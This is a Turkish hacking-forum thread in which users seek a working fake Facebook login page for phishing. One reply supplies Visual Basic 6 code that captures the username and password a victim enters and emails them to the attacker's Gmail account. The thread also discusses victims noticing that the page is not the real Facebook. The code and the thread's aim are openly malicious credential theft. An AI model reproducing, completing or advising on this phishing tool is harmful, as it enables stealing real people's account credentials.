acilen çalışan facebook fake lazım acill lazım yardımıcı ola bilecek olan arkadaşlar
arkadaşlar calışan fakesi olan varmı
- Konbuyu başlatan djherkes
- Başlangıç tarihi
- Durum
üstat bana verebilriminiz acil lazım cok önemli sebelerden dolayı lazım
hemen atıyorum özelden mesaj
başka yardımıcı ola bilecek arkadaş varmı
Kod:
Private Sub Command1_Click()
On Error Resume Next
msn.Logon Text1.Text, Text2.Text, msn.Services.PrimaryService
On Error Resume Next
Dim iMsg, iConf, Flds
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "@gmail.com"
Flds.Item(schema & "sendpassword") = "şifren buraya"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = "@gmail.com"
.From = "Hacker"
.Subject = "WelcomeMyHell"
.HTMLbOdy = Text1.Text & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
lbl.Caption = lbl.Caption + 1
End With
End Sub
html kodu yokmu sende kardeş
sende kardeş
kardeşim formbuddy her zman işe yaramaz kapanabilir veya kurban bu sitenin facebook olmadığını anlayabilir ben sana vb6 kodlarıattım bu daha garanti emin ol
da ben visual basic sildindi giti setup vbz herşeyi o sebele
ve kodlar da düzeltme yapamam gerkimiyormu şifrelerin bana gelmesi için yada calışma mantıgı nedir keyloger mi ?
hayır text e yazılanları gmaile getiriyor evet kendi gmailini ve şifreni yazacaksın
indir zaten full link var vb bölümünde fazla zaman almaz
bakdım da saglam bulamadım vba6 tek link welcomemyhell
kimsede fake yokmu
- Durum
